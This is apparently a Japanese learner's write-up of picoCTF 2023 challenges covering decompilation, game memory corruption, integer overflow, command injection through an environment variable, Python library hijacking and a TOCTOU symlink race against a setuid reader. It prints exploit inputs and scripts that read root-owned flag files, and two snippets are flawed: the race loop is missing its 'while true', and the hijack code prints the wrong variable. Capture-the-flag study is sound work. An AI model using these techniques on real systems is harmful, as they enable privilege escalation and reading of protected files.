picoCTF 2023

# Ready Gladiator 0
インスタンスを起動する。ファイルをダウンロードする。
file imp.red によるとASCII形式なのでVSCODEで閲覧する。
```
;redcode
;name Imp Ex
;assert 1
mov 0, 1
end

```
となっていて、実行すると
```
user@LAPTOP-0VTCKI92:/mnt/c/Users/xpere/Downloads$ nc saturn.picoctf.net 49531 < imp.red
;redcode
;name Imp Ex
;assert 1
mov 0, 1
end
Submit your warrior: (enter 'end' when done)

Warrior1:
;redcode
;name Imp Ex
;assert 1
mov 0, 1
end

Rounds: 100
Warrior 1 wins: 0
Warrior 2 wins: 0
Ties: 100
Try again. Your warrior (warrior 1) must lose all rounds, no ties.
```
となり、何やら勝負が始まっているようで、与えられたファイルがただの入力テキストなのでおそらくこれを変更すればフラグが出るはず。
勝利と敗北が1と0であらわされていて、入力テキストにもmov命令で0,1とあり怪しいので、これを
mov 1,1に変更して実行
＝＞フラグをしゅとく

# timer
まずファイルをダウンロードする。apkファイルで、ヒントにはmobsf or jadxとあったので、
mobsfで検索すると、Android向けのapkファイル解析アプリのようで、
mobsf onlineで検索すると、https://mobsf.live/が出てくるのでここにファイルを入れるとフラグを取得できる

# Reverse
fileコマンドでファイル形式を確認＝＞実行ファイルなので実行する。（WSL ./ret）
enter passwordとでるだけなので、Ghidraで逆コンパイルしてMain関数を見てみる。
特定の文字列（フラグ）と入力文字列の比較がされているので、再度./retをやってコピーした文字列を入れるとフラグが出力される

#　Safe Opener 2
```
file SafeOpener.class
SafeOpener.class: compiled Java class data, version 52.0 (Java 1.8)
```
とあり、ヒントを見ると逆コンパイルしろとあったので、
Java class data 逆コンパイル　Onlineで検索し、以下ででコンパイルすると。
https://www.bing.com/search?q=Java%20class%20data%20%E9%80%86%E3%82%B3%E3%83%B3%E3%83%91%E3%82%A4%E3%83%AB%E3%80%80Online&qs=n&form=QBRE&sp=-1&ghc=1&lq=0&pq=java%20class%20data%20%E9%80%86%E3%82%B3%E3%83%B3%E3%83%91%E3%82%A4%E3%83%AB%E3%80%80online&sc=4-29&sk=&cvid=465F73C345FD4CE5A7D37A1FA05451F0&ghsh=0&ghacc=0&ghpl=

```
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.Base64;
import java.util.Base64.Encoder;

public class SafeOpener {
   public static void main(String[] args) throws IOException {
      BufferedReader keyboard = new BufferedReader(new InputStreamReader(System.in));
      Encoder encoder = Base64.getEncoder();
      String encodedkey = "";
      String key = "";

      for(int i = 0; i < 3; ++i) {
         System.out.print("Enter password for the safe: ");
         key = keyboard.readLine();
         encodedkey = encoder.encodeToString(key.getBytes());
         System.out.println(encodedkey);
         boolean isOpen = openSafe(encodedkey);
         if (isOpen) {
            break;
         }

         System.out.println("You have  " + (2 - i) + " attempt(s) left");
      }

   }

   public static boolean openSafe(String password) {
      String encodedkey = "picoCTF{SAf3_0p3n3rr_y0u_solv3d_it_5bfbd6f1}";
      if (password.equals(encodedkey)) {
         System.out.println("Sesame open");
         return true;
      } else {
         System.out.println("Password is incorrect\n");
         return false;
      }
   }
}
```

# No way out
Unity形式のファイルが配られるが実行するとゲームが始まる。
しかし解き方が分からなかったので、Writeupを参照。
https://daisuke20240310.hatenablog.com/entry/picoctf2023re#No-way-out200%E3%83%9D%E3%82%A4%E3%83%B3%E3%83%88

ゲームを始めると、ステージ上に旗が見える。なので、旗に到達or近づけばよいらしい。
しかし現段階では高く飛べないので、ゲーム設定を変更する必要がある
また、ChatGPTに問題の解き方について聞くと、
```
CTFにおけるUnityファイルの優先順位は、**「フラグや重要情報が隠されている可能性が高いもの」**から順に並べると、以下のようになります。

1位: Assembly-CSharp.dll（スクリプトファイル）
理由:
Unityのゲームロジックや挙動を記述するC#スクリプトがコンパイルされたもの。
パスワードや暗号化処理、フラグ生成ロジックが埋め込まれている可能性が非常に高い。
CTFで最重要ポイント。
解析方法:
dnSpy、ILSpy、dotPeek などを使って逆コンパイル。
Start や Update、CheckFlag、Decrypt などの関数名を調査。
flag、password、key などの文字列を検索。
2位: .assets ファイル（アセットファイル）
理由:
テキストやJSON、画像、音声などのリソースが含まれる。
TextAsset にフラグや暗号文、ヒントが埋め込まれているケースが多い。
ステガノグラフィー（画像・音声に隠されたデータ）の可能性もある。
解析方法:
AssetStudio、Unity Asset Bundle Extractor (UABE) を使って展開。
TextAsset や .json、.txt ファイルを抽出。
画像はステガノグラフィーツール（steghide、zsteg）で確認。
3位: .unity3d / .bundle（AssetBundle）
理由:
Unityが外部リソースとしてパックしたデータ。
ゲーム本体には含まれていない隠しアセットがある可能性。
.assets 同様、テキストやモデル、オブジェクトに情報が埋まっていることがある。
解析方法:
UABE、AssetStudio を使って展開。
隠れたスクリプトやオブジェクトを調べる。
4位: .unity ファイル（シーンファイル）
理由:
ゲームのシーン構造やオブジェクト配置の情報。
オブジェクト名、座標、スクリプト参照先にヒントが隠れている可能性。
YAML形式なのでテキストエディタで直接調査できる。
解析方法:
grep やエディタの検索で flag、password、key を探す。
隠しオブジェクトや見えない位置にある要素をチェック。
5位: .prefab ファイル（プレハブファイル）
理由:
再利用可能なオブジェクトのテンプレート。
UI要素やテキストコンポーネントに直接フラグが埋め込まれることもある。
解析方法:
.unity ファイルと同様に YAML形式なので、エディタや grep で調査。
結論（優先順位）:

1️⃣ Assembly-CSharp.dll → 最重要（スクリプト解析・ロジックの中に秘密が埋め込まれがち）
2️⃣ .assets → TextAsset や JSON に直接フラグが埋め込まれるケースが多い
3️⃣ .unity3d / .bundle → パックされたデータに隠れたリソース
4️⃣ .unity → シーンファイルの中にヒントや隠しオブジェクト
5️⃣ .prefab → 再利用オブジェクトの中のテキストやパラメータ

最初は必ず Assembly-CSharp.dll から、次に .assets を調べるのが効率的です！
```
となる。
dnSpy
https://github.com/dnSpy/dnSpy/releases
をダウンロードし、実行する。
pico_Data/Managed/Assembly-CSharp.dllを選択して読み込む。
読み込んだら、左のタブからAssembly-CSharp.dllを選択して、EvolveGames > PlayerController 
を選択して、
```
- this.gravity * Time.deltaTime
```
を削除して重力をいじると、旗にたどり着くことができる。

# babygame01

```
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined4 main(void)

{
  int iVar1;
  undefined4 uVar2;
  int in_GS_OFFSET;
  int user_position;
  int local_aa8;
  char xx1;
  undefined1 map_buff [2700];
  int local_14;
  undefined1 *local_10;

  local_aac (4byte)=user_position
  local_aa8;(4byte)=flag
  local_aa0 [2700]=mapbuff
  local_aa0[-4]とした場合、
  
  local_10 = &stack0x00000004;
  local_14 = *(int *)(in_GS_OFFSET + 0x14);
  init_player(&user_position);
  init_map(map_buff,&user_position);
  print_map(map_buff,&user_position);
  signal(2,sigint_handler);
  do {
    do {
      iVar1 = getchar();
      move_player(&user_position,(int)(char)iVar1,map_buff);
      print_map(map_buff,&user_position);
    } while (user_position != 0x1d);
  } while (local_aa8 != 0x59);
  puts("You win!");
  if (xx1 != '\0') {
    puts("flage");
    win();
    fflush(_stdout);
  }
  uVar2 = 0;
  if (local_14 != *(int *)(in_GS_OFFSET + 0x14)) {
    uVar2 = __stack_chk_fail_local();
  }
  return uVar2;
}

void init_player(undefined4 *user_positon)

{
  *user_positon = 4;
  user_positon[1] = 4;
  *(undefined1 *)(user_positon + 2) = 0;
  return;
}
```
local_aac (4byte)=user_position
local_aa8;(4byte)=flag
local_aa0 [2700]=mapbuff
local_aa0[-4]とした場合、
user_position[0] = 4
user_position[1] = 4
user_position[2] = 0

```
void init_map(int map_buff,int *user_position)

{
  int i;
  int j;

  for (i = 0; i < 30; i = i + 1) {
    for (j = 0; j < 90; j = j + 1) {
      if ((i == 29) && (j == 89)) {
        *(undefined1 *)(map_buff + 2699) = 'X';
      }
      else if ((i == *user_position) && (j == user_position[1])) {
        (j + map_buff + i * 90) = player_tile;
      }
      else {
        (j + map_buff + i * 90) = ',';
      }
    }
  }
  return;
}
```
```
void print_map(int map_buff,undefined4 user_position)
{
  undefined4 i;
  undefined4 j;
  
  clear_screen();
  find_player_pos(map_buff);
  find_end_tile_pos(map_buff);
  print_flag_status(user_position);
  for (i = 0; i < 30; i = i + 1) {
    for (j = 0; j < 90; j = j + 1) {
      putchar((int)*(char *)(j + map_buff + i * 90));
    }
    putchar(10);
  }
  fflush(_stdout);
  return;
}
```
```
void move_player(int *user_position,char key_str,int map_buff)
{
  int iVar1;
  
  if (key_str == 'l') {
    iVar1 = getchar();
    '@' = (undefined1)iVar1;
  }
  if (key_str == 'p') {
    solve_round(map_buff,user_position);
  }
  *(undefined1 *)(*user_position * 0x5a + map_buff + user_position[1]) = 0x2e;
  if (key_str == 'w') {
    *user_position = *user_position + -1;
  }
  else if (key_str == 's') {
    *user_position = *user_position + 1;
  }
  else if (key_str == 'a') {
    user_position[1] = user_position[1] + -1;
  }
  else if (key_str == 'd') {
    user_position[1] = user_position[1] + 1;
  }
  (*user_position * 90 + map_buff + user_position[1]) = '@';
  return;
}
```
- 4*90+map_buff[0]+4=>mapbuff[364]なのでmap_buff内に書き込まれる。
- 0*90+map_buff[0]-4=> map_baff[-4]なのでmap_buffのよりも-4byteの位置に書き込む
```
4 * 90 + map_buff + 4
は次のように解釈できます。

4 * 90 → 行オフセット。これは 360（4行目の開始位置）。
map_buff → マップデータの配列の先頭アドレス。
+ 4 → 列オフセット。4列目に移動。
なので、これは「map_buff の 364番目の要素（map_buff[364]） を指すアドレス」になります。

シンプルに書くと、
map_buff[4 * 90 + 4]  // map_buff[364] と同じ
```

map_buff[2700]はおそらく1byteのため、
map_buffよりintで宣言された4byteにアクセスするには、[-4]とする必要がある？

undefined1[270    Stack[-0xaa0   map_buff 
undefined1        Stack[-0xaa4   flag 
undefined4        Stack[-0xaa8   local_aa8
undefined4        Stack[-0xaac   user_position 
-0xaa0 = map_buff
-0xaa4 = flag = map_buff -4

map_buff は、map_buff[0]と同義で、ghidra内ではlengthが１だったので、1byte?
map_buff[1]=map_buff+1とすると、
flagは4byteなので、map_buffの４領域を使用していることと考える。
flagを0以外にすればいいだけかと思いきや、ぴったり-4じゃないとダメでした。
wwwwaaaaa, wwwwaaaaaaaはだめ。
おそらく書き込むバイトの位置が関係しているのかも？先頭2byteで比較しているのかも？

# babygame02
勉強用にWriteupをみて溶きました。gdbでうまくリターンアドレスを特定できなかったのでghidraです。
https://kataware.hatenablog.jp/entry/2017/12/02/224444
関数実行の流れを紐解く(弊研究室の某課題について考える2日目)かたわれ (id:kataware8136)
読者になるさんのサイトのスタック構造を参考にして、いくつかのWriteupをみました。
以下はサイト内で紹介されているものすごくわかりやすい図です。とても助かりました。
![スクリーンショット (44).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3965944/8835ebbe-1c71-41c3-b693-b812ac65bbd4.png)





mainから参照されていないwin関数があるので、move_player関数内の'l'とプレイヤー位置の書き込み処理を利用して飛ばす。win関数のアドレスは、08049779で、0804975dだとエラーになるらしい。
![スクリーンショット (43).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3965944/12ec9acc-42a7-41fe-8c36-b3c84a823918.png)

move_player呼び出し時のスタック構成
```
            ^ EBP
            | EBX
            | ECX
            |  ^
            |  | 2720
    2709    |  |
            |  |
            ↓  |
   map_buff[0] |
            |  |
    23byte  |  |
            ↓  ↓
           sub 4
           ECX
           EAX
           local aa4
           return address
               
23byte = 4(EBP)+4(EBX)+4(ECX)+2720-2709
return = 23+16(4+4+4+4) = 39
return <=> map_buff[-39] 

        08049703 50               PUSH       key_str
        08049704 e8  6b  fd       CALL       move_player 
                 ff  ff
        08049709 83  c4  10       ADD        ESP ,0x10 <=本来のReturnアドレス。
        0804970c 83  ec  08       SUB        ESP ,0x8

```
moveplayer関数までの間のprint_mapやinit_map等の関数でスタックが使用されているが、subとaddでクリアされているので考慮しない。
例えば、sub ESP, 0x4 とあってもそのあとにadd ESP, 0x4とある。
map_buff

![スクリーンショット (42).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3965944/53629b52-3157-4981-b907-197fdafb2643.png)

しかしここで、そのまま下に39byte移動すると、
           sub 4
           ECX
           EAX
           local aa4
の値もたぶん[@]で書き換えてしまうため、エラーになる。
そこで、(-1, 0)にいどうして-90byte行く。そこから、51byte戻ることで、安全に書き換えられる？
しかし
lyaaaawwwwwddddddddddddddddddddddddddddddddddddddddddddddddddd
と
aaaawwwwdddddddddddddddddddddddddddddddddddddddddddddddddddwly
aaaawwwwdddddddddddddddddddddddddddddddddddddddddddddddddddlyw
lyaaaawwwwddddddddddddddddddddddddddddddddddddddddddddddddddwd
はうまくいかない。
lyaaaawwwwdddddddddddddddddddddddddddddddddddddddddddddddddddw
aaaawwwwddddddddddddddddddddddddddddddddddddddddddddddddddlydw
これだとうまくいく。
-90　＝　(-1, 0)とすると、-90byteから51byte上昇する過程で関係のないスタックの箇所を破壊してしまうからだと思われる。そして最後にアドレスを書き込む方式だと微妙になる？

```python
for i in range(51):
    print('d',end='')
print()
```

-39byteについて補足
ここ二日間考えていました。結局 pwndbgを導入したところ解決しました。
https://github.com/pwndbg/pwndbg
```
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
```
peda-gdbがKalilinuxで使用できず、WSLでも動作するが実行ファイルが実行環境の影響で実行できないので断念、WSLのUbuntuが12.0だったので、近めのUbuntu16を仮想で建てて実行したが動作が不安定すぎて断念（pedaは導入できた）。
gdb-gefをKalilinuxにいれてmove_playerや、main関数の途中、move_player内のアドレスでブレークポイントを設定したが、何度やっても、アドレス差が12byteでした。
結果、pwndbgでmove_playerで確認したところアドレス差が39byteになりました。
![スクリーンショット (50).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3965944/35406985-ed71-4071-ade2-7ce06973b4d4.png)

pwndbgだと、間接的に指しているアドレスが出ますが、gdb-gefだと、間接的に指している値しか出力されずでした。
![IMG_9047.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3965944/9ae3b1a1-1e4d-4992-933e-f215f1f2f9f1.jpeg)

と思ってgdb-gef入れなおして再実行したら問題なく39byteでました。今まで自分がどこ見ていたのか謎です。0x3c-0x63=39(10)
![スクリーンショット (51).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3965944/536d32a7-710b-4e13-9be0-2338d3d0c12f.png)

# two-sum
引数が二個あり、ソースコードが与えられている。

引数1、引数2二つが正の数でこれを足した結果、負の数になると、フラグが取れる。
また、この逆でも可能である。

以下のサイトでは、整数オーバーフローについて説明している。
https://rainbow-engine.com/int-overflow-example/
intで32bitアーキテクチャの場合、2147483647に1を足すとオーバーフローになる。
```
・MAX+1 = 2147483647+1 = －2147483648
・MIN－1 = －2147483648－1 = 2147483647
```
つまり、上記を入力することでフラグを取得かのう

# VNE
```
ssh username@pico.server -p port
```
次に./binを実行する。
SECRET_DIRの環境変数がないといわれるので
```
export SECRET_DIR=/root
```
を実行して設定する。
flagファイルは見えるが中身が見えない。

./bin cat flag.txtとしてもだめ。
ここでWriteupを閲覧して
環境変数にコマンドを入れればいいということが分かり、
```
export SECRET_DIR="/root | cat /root/flag.txt"
./bin
```
つまり、binファイルにはRootでの実行権限が与えられていて、環境変数に設定されたコマンドを実行していると思われる。
考え方として
cd /root | cat /root/flag.txt
と思ったが、試したところ異なった。
```
ctf-player@pico-chall$ export SECRET_DIR="cat /root/flag.txt"
ctf-player@pico-chall$ ./bin
Listing the content of cat /root/flag.txt as root:
ls: cannot access 'cat': No such file or directory
/root/flag.txt
Error: system() call returned non-zero value: 512
ctf-player@pico-chall$ export SECRET_DIR="/root | pwd"
ctf-player@pico-chall$ ./bin
Listing the content of /root | pwd as root:
/home/ctf-player
ctf-player@pico-chall$ export SECRET_DIR="/ctf-player | pwd"
ctf-player@pico-chall$ ./bin
Listing the content of /ctf-player | pwd as root:
/home/ctf-player
ls: cannot access '/ctf-player': No such file or directory
ctf-player@pico-chall$ export SECRET_DIR="/root | ls -la"
ctf-player@pico-chall$ ./bin
Listing the content of /root | ls -la as root:
total 24
drwxr-xr-x 1 ctf-player ctf-player    20 Mar  4 09:40 .
drwxr-xr-x 1 root       root          24 Aug  4  2023 ..
drwx------ 2 ctf-player ctf-player    34 Mar  4 09:40 .cache
-rw-r--r-- 1 root       root          67 Aug  4  2023 .profile
-rwsr-xr-x 1 root       root       18752 Aug  4  2023 bin
ctf-player@pico-chall$ export SECRET_DIR="/root | ls -la"
```

# hijacking
ssh で接続する。
picoctfユーザーで入っているのでroot権限はなく、/rootディレクトリにアクセスすることはできない。

ヒントを見ると、隠しファイルを確認しろとのことなので、ls -laで見てみると、
    .server.pyがあることが分かる。そこでこのファイルを実行するとエラーになる。
```
picoctf@challenge:~$ ls -la  
total 16                    
drwxr-xr-x 1 picoctf picoctf   20 Mar  4 12:13 .   
drwxr-xr-x 1 root    root      21 Aug  4  2023 ..     
-rw-r--r-- 1 picoctf picoctf  220 Feb 25  2020 .bash_logout           
-rw-r--r-- 1 picoctf picoctf 3771 Feb 25  2020 .bashrc    
drwx------ 2 picoctf picoctf   34 Mar  4 12:13 .cache   
-rw-r--r-- 1 picoctf picoctf  807 Feb 25  2020 .profile    
-rw-r--r-- 1 root    root     375 Feb  7  2024 .server.py 
```
とりあえずファイルを書き換えてrootにアクセスできるか試すができず。ここでWriteupを閲覧した。
どうやら、Pythonライブラリを利用して権限を奪うようである。
base64ライブラリに注目し、
```python
python3 -c "import sys; print('\n'.join(sys.path))"


picoctf@challenge:~$ python3 -c "import sys; print('\n'.join(sys.path))"

/usr/lib/python38.zip
/usr/lib/python3.8
/usr/lib/python3.8/lib-dynload
/usr/local/lib/python3.8/dist-packages
/usr/lib/python3/dist-packages
```
によってライブラリパスを確認する。パスを確認したらls -laコマンドでライブラリの権限を確認する。
そうすると、base64.pyだけが全権限になっていて、ルートユーザ所持だが、一般ユーザーでも編集できるようになっている。
そこで、/usr/lib/base64.pyを以下のサイトに紹介されているように書き換える。
https://daisuke20240310.hatenablog.com/entry/picoctf2023be#hijacking200%E3%83%9D%E3%82%A4%E3%83%B3%E3%83%88
先頭に
```python
with open("/root/.flag.txt") as f:
    s=f.read()
    print(f)
```
Flagが出力される。
```
Python3　test.py == /usr/bin/python3 test.py
```

/usr/lib/python3.8はpythonが使用するライブラリ群が格納されている

# tic-tac
```
total 32
drwxr-xr-x 1 ctf-player ctf-player    20 Mar  5 04:08 .
drwxr-xr-x 1 root       root          24 Aug  4  2023 ..
drwx------ 2 ctf-player ctf-player    34 Mar  5 04:08 .cache
-rw-r--r-- 1 root       root          67 Aug  4  2023 .profile
-rw------- 1 root       root          32 Aug  4  2023 flag.txt
-rw-r--r-- 1 ctf-player ctf-player   912 Mar 16  2023 src.cpp
-rwsr-xr-x 1 root       root       19016 Aug  4  2023 txtreader
```

src.cppの中身
```
#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>

int main(int argc, char *argv[]) {
  if (argc != 2) {
    std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
    return 1;
  }

  std::string filename = argv[1];
  std::ifstream file(filename);
  struct stat statbuf;

  // Check the file's status information.
  if (stat(filename.c_str(), &statbuf) == -1) {
    std::cerr << "Error: Could not retrieve file information" << std::endl;
    return 1;
  }

  // Check the file's owner.
  if (statbuf.st_uid != getuid()) {
    std::cerr << "Error: you don't own this file" << std::endl;
    return 1;
  }

  // Read the contents of the file.
  if (file.is_open()) {
    std::string line;
    while (getline(file, line)) {
      std::cout << line << std::endl;
    }
  } else {
    std::cerr << "Error: Could not open file" << std::endl;
    return 1;
  }

  return 0;
}
```
以下の部分を通せればいいということらしい。
```
 if (statbuf.st_uid != getuid())
```
バッファーオーバーフローとかがあるかと思ったが、関数を使用しているので難しそうで、Writeupをみた。
ユーザー権限のシンボリックファイルをflagにリンクさせても、参照先の権限を確認しているようで、だめらしい。
そこで、
Tictac、Time-of-Check and Time-of-Use Attackが使用できるらしい。以下のサイトを見ました。ここからはほぼサイトの真似をしています。
https://qiita.com/H4ppyR41nyD4y/items/a4ae3b6006e1d478524e

権限確認と読み取りの間に一瞬のスキがあるので、その間にリンクファイルの参照先を変更して、if分だけ通過させるというもの

今回のCTFのこーどでは、txtreaderがrootを持っていて、ファイルの参照権限を確認した後に、ファイルの権限と、実行者が同一になればよいとしている。ここで、同一であればファイルを読み取るという処理なので、シンボリックリンクファイルを作成し、ユーザー権限のdummyファイルを作成し、このファイルとlinkという新規作成したファイルをリンクさせる。次に、linkファイルの参照先をflag.txtに変更させる。

txtreaderを実行中に参照先を書き換える必要があるので、
以下のコードをechoを使用して作成してバックグラウンドで実行させる。echo "code" >exploit.sh
```sh
#!/bin/bash
touch dummy
do
    ln -sf ./dummy ./link
    ln -sf ./flag.txt ./link
done;
```
- ln : ファイルのリンクを作成するコマンド
- -s : シンボリックで作成
- -f : 現在のリンクファイルを上書き
- do - done : ループ実行
<details><summary>シンボリックファイルについて</summary>
シンボリックリンク（symbolic link）について詳しく説明します。

シンボリックリンクとは
シンボリックリンクは、ファイルやディレクトリへの参照を作成する特殊なファイルタイプです。これは、別の場所にあるファイルやディレクトリへのショートカットのようなものです。

主な特徴：

元のファイルやディレクトリへのパスを保持します

異なるファイルシステム間でリンクを作成できます

元のファイルが削除されても、リンクは残ります（ただし機能しません）

ユーザー権限とRoot所有の場合の動作
ユーザー権限のファイルでRoot所有のファイルを指定した場合
シンボリックリンクの作成：

ユーザーは自分の権限で、Rootが所有するファイルへのシンボリックリンクを作成できます。

アクセス：

リンク先のファイルへのアクセスは、元のファイルの権限に依存します。

読み取り権限がある場合、ユーザーはファイルを閲覧できます。

書き込み権限がない場合、ユーザーは内容を変更できません。

削除：

ユーザーは自分が作成したシンボリックリンクを削除できます。

元のファイル（Root所有）は影響を受けません。

ユーザー権限のファイルでユーザー権限のファイルを指定した場合
シンボリックリンクの作成：

ユーザーは自由に自分の所有するファイル間でシンボリックリンクを作成できます。

アクセス：

リンク先のファイルへのアクセスは、元のファイルの権限と同じになります。

通常、ユーザーは自分のファイルに対して読み取り・書き込み権限を持っています。

削除：

ユーザーはシンボリックリンクと元のファイルの両方を削除できます。

シンボリックリンクを削除しても、元のファイルには影響ありません。
</details>
<details><summary>lnコマンドについて</summary>
lnコマンドは、Linuxやその他のUNIX系オペレーティングシステムで使用されるコマンドで、ファイルやディレクトリへのリンクを作成するために使用されます。主に2種類のリンクを作成できます：ハードリンクとシンボリックリンク（ソフトリンク）。

基本的な使い方
bash
ln [オプション] 元のファイル リンク名
主なオプション
-s: シンボリックリンクを作成します（デフォルトはハードリンク）

-f: 既存のリンクを強制的に上書きします

-i: リンク先が既に存在する場合、上書きの確認を求めます

-v: 詳細な情報を表示します

ハードリンクとシンボリックリンクの違い
ハードリンク
元のファイルと同じiノードを共有します

同じファイルシステム内でのみ作成可能です

ディレクトリにはハードリンクを作成できません

元のファイルが削除されても、リンクは機能し続けます

シンボリックリンク
元のファイルへのパスを保持する特別なファイルです

異なるファイルシステム間でも作成可能です

ディレクトリにも作成できます

元のファイルが削除されると、リンクは機能しなくなります（リンク切れ）
</details>

```
sh ./exploit.sh &
```
- &を付けることでバックグラウンドで実行
- psでプロセスを確認し、kill "process ID" で処理を停止。kill 980みたいな

次に以下を実行
```
while true; do ./txtreader link ; done |& grep -v Error
```
- while 条件; do <コマンド>; done :これでループ実行
- grep -v Error :　errorという文字列が含まれている行は非表示
- |& : 標準出力、標準エラー出力を表示

うまくいくとすぐにフラグが出力されます。